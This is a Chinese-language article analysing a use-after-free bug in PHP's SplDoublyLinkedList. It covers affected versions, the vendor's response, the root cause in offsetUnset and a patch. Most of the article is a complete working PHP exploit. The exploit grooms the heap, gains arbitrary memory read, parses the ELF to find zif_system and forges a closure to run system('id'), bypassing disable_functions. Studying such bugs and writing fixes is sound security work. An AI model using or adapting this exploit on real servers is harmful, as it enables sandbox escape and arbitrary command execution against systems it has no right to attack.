PHP SplDoublyLinkedList中的用后释放漏洞的示例分析

这期内容当中小编将会给大家带来有关PHP SplDoublyLinkedList中的用后释放漏洞的示例分析，文章内容丰富且以专业的角度为大家分析和叙述，阅读完这篇文章希望大家可以有所收获。

漏洞描述

PHP的SplDoublyLinkedList双向链表库中存在一个用后释放漏洞，该漏洞将允许攻击者通过运行PHP代码来转义disable_functions限制函数。在该漏洞的帮助下，远程攻击者将能够实现PHP沙箱逃逸，并执行任意代码。更准确地来说，成功利用该漏洞后，攻击者将能够绕过PHP的某些限制，例如disable_functions和safe_mode等等。

受影响版本

• PHP v8.0（Alpha）；

• PHP v7.4.10及其之前版本；

厂商回应

根据我们的安全分类，我们认为这并非一个安全问题，因为它需要在服务器端执行非常特殊的代码才能够触发该漏洞。如果攻击者能够实现代码注入，那么肯定是由一个比该漏洞更加严重的漏洞存在所导致的。

漏洞分析

SplDoublyLinkedList是PHP中的一个双向链表库（DLL），这个库支持进行迭代，即能够存储一个指针指向当前的DLL元素以实现迭代。这样一来，开发人员就可以通过调用next()和prev()来让DLL指向其他的元素了。

当我们删除DLL中的某个元素之后，PHP将从DLL中移除该元素，然后销毁掉zval，如果指针指向该元素的话，那么就存在空指针问题了。因此，当zval被销毁之后，当前指针仍然指向相关联元素，即使其已经被从链表中移除了。这样一来，用后释放问题便出现了，因为我们可以通过在zval的构造器中调用$dll->next()或$dll->prev()来触发该漏洞。

利用输入参数触发漏洞

我们可以使用两个值来创建一个SplDoublyLinkedList对象$s，第一个值是一个带有特殊结构体__destruct 的对象，另一个值我们不用理会。接下来，我们可以调用$s->rewind()来让当前迭代元素的指针指向我们的对象。当我们调用$s->offsetUnset(0)时，它将会调用底层C函数SPL_METHOD(SplDoublyLinkedList, offsetUnset)（该函数存在于ext/spl/spl_dllist.c中），这个函数将完成以下几件事情：

1、通过设置下列参数将元素从双线链表中移除：

element->prev->next = element->nextelement->next->prev = element->prev

2、销毁相关的zval（llist->dtor）；

3、如果intern->traverse_pointer指向目标元素，它会将指针设置为NULL；

在第二步中，会调用我们对象的__destruct方法，而intern->traverse_pointer仍然会指向该元素。为了触发用后释放问题，我们需要做下列几件事情：

• 通过调用$s->offsetUnset(0)来移除双向链表中的第二个元素，让intern->traverse_pointer->next指向一个未分配的空间；

• 调用$s->next()：调用链为intern->traverse_pointer = intern->traverse_pointer->next。由于该地址已在第一步被释放，那么traverse_pointer将指向一个未分配的地址；

• 使用$s->current()，我们将能够访问未分配的地址，从而触发用后释放漏洞；

漏洞修复

需要在销毁zval之前清理掉intern->traverse_pointer指针，随后删除相关的引用。参考代码如下：

was_traverse_pointer = 0;         // Clear the current pointer        if (intern->traverse_pointer == element) {            intern->traverse_pointer = NULL;            was_traverse_pointer = 1;        }         if(llist->dtor) {            llist->dtor(element);        }         if(was_traverse_pointer) {            SPL_LLIST_DELREF(element);        }         // In the current implementation, this part is useless, because        // llist->dtor will UNDEF the zval before        zval_ptr_dtor(&element->data);        ZVAL_UNDEF(&element->data);         SPL_LLIST_DELREF(element);

利用演示

漏洞利用

next() or# $dll->prev() in the zval's destructor.# # error_reporting(E_ALL); define('NB_DANGLING', 200);define('SIZE_ELEM_STR', 40 - 24 - 1);define('STR_MARKER', 0xcf5ea1); function i2s(&$s, $p, $i, $x=8){    for($j=0;$j<$x;$j++)    {        $s[$p+$j] = chr($i & 0xff);        $i >>= 8;    }}  function s2i(&$s, $p, $x=8){    $i = 0;     for($j=$x-1;$j>=0;$j--)    {        $i <<= 8;        $i |= ord($s[$p+$j]);    }     return $i;}  class UAFTrigger{    function __destruct()    {        global $dlls, $strs, $rw_dll, $fake_dll_element, $leaked_str_offsets;         #"print('UAF __destruct: ' . "\n");        $dlls[NB_DANGLING]->offsetUnset(0);               # At this point every $dll->current points to the same freed chunk. We allocate        # that chunk with a string, and fill the zval part        $fake_dll_element = str_shuffle(str_repeat('A', SIZE_ELEM_STR));        i2s($fake_dll_element, 0x00, 0x12345678); # ptr        i2s($fake_dll_element, 0x08, 0x00000004, 7); # type + other stuff               # Each of these dlls current->next pointers point to the same location,        # the string we allocated. When calling next(), our fake element becomes        # the current value, and as such its rc is incremented. Since rc is at        # the same place as zend_string.len, the length of the string gets bigger,        # allowing to R/W any part of the following memory        for($i = 0; $i <= NB_DANGLING; $i++)            $dlls[$i]->next();         if(strlen($fake_dll_element) <= SIZE_ELEM_STR)            die('Exploit failed: fake_dll_element did not increase in size');               $leaked_str_offsets = [];        $leaked_str_zval = [];         # In the memory after our fake element, that we can now read and write,        # there are lots of zend_string chunks that we allocated. We keep three,        # and we keep track of their offsets.        for($offset = SIZE_ELEM_STR + 1; $offset <= strlen($fake_dll_element) - 40; $offset += 40)        {            # If we find a string marker, pull it from the string list            if(s2i($fake_dll_element, $offset + 0x18) == STR_MARKER)            {                $leaked_str_offsets[] = $offset;                $leaked_str_zval[] = $strs[s2i($fake_dll_element, $offset + 0x20)];                if(count($leaked_str_zval) == 3)                    break;            }        }         if(count($leaked_str_zval) != 3)            die('Exploit failed: unable to leak three zend_strings');               # free the strings, except the three we need        $strs = null;         # Leak adress of first chunk        unset($leaked_str_zval[0]);        unset($leaked_str_zval[1]);        unset($leaked_str_zval[2]);        $first_chunk_addr = s2i($fake_dll_element, $leaked_str_offsets[1]);         # At this point we have 3 freed chunks of size 40, which we can read/write,        # and we know their address.        print('Address of first RW chunk: 0x' . dechex($first_chunk_addr) . "\n");         # In the third one, we will allocate a DLL element which points to a zend_array        $rw_dll->push([3]);        $array_addr = s2i($fake_dll_element, $leaked_str_offsets[2] + 0x18);        # Change the zval type from zend_object to zend_string        i2s($fake_dll_element, $leaked_str_offsets[2] + 0x20, 0x00000006);        if(gettype($rw_dll[0]) != 'string')            die('Exploit failed: Unable to change zend_array to zend_string');               # We can now read anything: if we want to read 0x11223300, we make zend_string*        # point to 0x11223300-0x10, and read its size using strlen()         # Read zend_array->pDestructor        $zval_ptr_dtor_addr = read($array_addr + 0x30);            print('Leaked zval_ptr_dtor address: 0x' . dechex($zval_ptr_dtor_addr) . "\n");         # Use it to find zif_system        $system_addr = get_system_address($zval_ptr_dtor_addr);        print('Got PHP_FUNCTION(system): 0x' . dechex($system_addr) . "\n");               # In the second freed block, we create a closure and copy the zend_closure struct        # to a string        $rw_dll->push(function ($x) {});        $closure_addr = s2i($fake_dll_element, $leaked_str_offsets[1] + 0x18);        $data = str_shuffle(str_repeat('A', 0x200));         for($i = 0; $i < 0x138; $i += 8)        {            i2s($data, $i, read($closure_addr + $i));        }               # Change internal func type and pointer to make the closure execute system instead        i2s($data, 0x38, 1, 4);        i2s($data, 0x68, $system_addr);               # Push our string, which contains a fake zend_closure, in the last freed chunk that        # we control, and make the second zval point to it.        $rw_dll->push($data);        $fake_zend_closure = s2i($fake_dll_element, $leaked_str_offsets[0] + 0x18) + 24;        i2s($fake_dll_element, $leaked_str_offsets[1] + 0x18, $fake_zend_closure);        print('Replaced zend_closure by the fake one: 0x' . dechex($fake_zend_closure) . "\n");               # Calling it now               print('Running system("id");' . "\n");        $rw_dll[1]('id');         print_r('DONE'."\n");    }} class DanglingTrigger{    function __construct($i)    {        $this->i = $i;    }     function __destruct()    {        global $dlls;        #D print('__destruct: ' . $this->i . "\n");        $dlls[$this->i]->offsetUnset(0);        $dlls[$this->i+1]->push(123);        $dlls[$this->i+1]->offsetUnset(0);    }} class SystemExecutor extends ArrayObject{    function offsetGet($x)    {        parent::offsetGet($x);    }} /** * Reads an arbitrary address by changing a zval to point to the address minus 0x10, * and setting its type to zend_string, so that zend_string->len points to the value * we want to read. */function read($addr, $s=8){    global $fake_dll_element, $leaked_str_offsets, $rw_dll;     i2s($fake_dll_element, $leaked_str_offsets[2] + 0x18, $addr - 0x10);    i2s($fake_dll_element, $leaked_str_offsets[2] + 0x20, 0x00000006);     $value = strlen($rw_dll[0]);     if($s != 8)        $value &= (1 << ($s << 3)) - 1;     return $value;} function get_binary_base($binary_leak){    $base = 0;    $start = $binary_leak & 0xfffffffffffff000;    for($i = 0; $i < 0x1000; $i++)    {        $addr = $start - 0x1000 * $i;        $leak = read($addr, 7);        # ELF header        if($leak == 0x10102464c457f)            return $addr;    }    # We'll crash before this but it's clearer this way    die('Exploit failed: Unable to find ELF header');} function parse_elf($base){    $e_type = read($base + 0x10, 2);     $e_phoff = read($base + 0x20);    $e_phentsize = read($base + 0x36, 2);    $e_phnum = read($base + 0x38, 2);     for($i = 0; $i < $e_phnum; $i++) {        $header = $base + $e_phoff + $i * $e_phentsize;        $p_type  = read($header + 0x00, 4);        $p_flags = read($header + 0x04, 4);        $p_vaddr = read($header + 0x10);        $p_memsz = read($header + 0x28);         if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write            # handle pie            $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;            $data_size = $p_memsz;        } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec            $text_size = $p_memsz;        }    }     if(!$data_addr || !$text_size || !$data_size)        die('Exploit failed: Unable to parse ELF');     return [$data_addr, $text_size, $data_size];} function get_basic_funcs($base, $elf) {    list($data_addr, $text_size, $data_size) = $elf;    for($i = 0; $i < $data_size / 8; $i++) {        $leak = read($data_addr + $i * 8);        if($leak - $base > 0 && $leak < $data_addr) {            $deref = read($leak);            # 'constant' constant check            if($deref != 0x746e6174736e6f63)                continue;        } else continue;         $leak = read($data_addr + ($i + 4) * 8);        if($leak - $base > 0 && $leak < $data_addr) {            $deref = read($leak);            # 'bin2hex' constant check            if($deref != 0x786568326e6962)                continue;        } else continue;         return $data_addr + $i * 8;    }} function get_system($basic_funcs){    $addr = $basic_funcs;    do {        $f_entry = read($addr);        $f_name = read($f_entry, 6);         if($f_name == 0x6d6574737973) { # system            return read($addr + 8);        }        $addr += 0x20;    } while($f_entry != 0);    return false;} function get_system_address($binary_leak){    $base = get_binary_base($binary_leak);    print('ELF base: 0x' .dechex($base) . "\n");    $elf = parse_elf($base);    $basic_funcs = get_basic_funcs($base, $elf);    print('Basic functions: 0x' .dechex($basic_funcs) . "\n");    $zif_system = get_system($basic_funcs);    return $zif_system;} $dlls = [];$strs = [];$rw_dll = new SplDoublyLinkedList();  # Create a chain of dangling triggers, which will all in turn# free current->next, push an element to the next list, and free current# This will make sure that every current->next points the same memory block,# which we will UAF.for($i = 0; $i < NB_DANGLING; $i++){    $dlls[$i] = new SplDoublyLinkedList();    $dlls[$i]->push(new DanglingTrigger($i));    $dlls[$i]->rewind();} # We want our UAF'd list element to be before two strings, so that we can# obtain the address of the first string, and increase is size. We then have# R/W over all memory after the obtained address.define('NB_STRS', 50);for($i = 0; $i < NB_STRS; $i++){    $strs[] = str_shuffle(str_repeat('A', SIZE_ELEM_STR));    i2s($strs[$i], 0, STR_MARKER);    i2s($strs[$i], 8, $i, 7);} # Free one string in the middle, ...$strs[NB_STRS - 20] = 123;# ... and put the to-be-UAF'd list element instead.$dlls[0]->push(0); # Setup the last DLlist, which will exploit the UAF$dlls[NB_DANGLING] = new SplDoublyLinkedList();$dlls[NB_DANGLING]->push(new UAFTrigger());$dlls[NB_DANGLING]->rewind(); # Trigger the bug on the first list$dlls[0]->offsetUnset(0);

上述就是小编为大家分享的PHP SplDoublyLinkedList中的用后释放漏洞的示例分析了，如果刚好有类似的疑惑，不妨参照上述分析进行理解。如果想知道更多相关知识，欢迎关注行业资讯频道。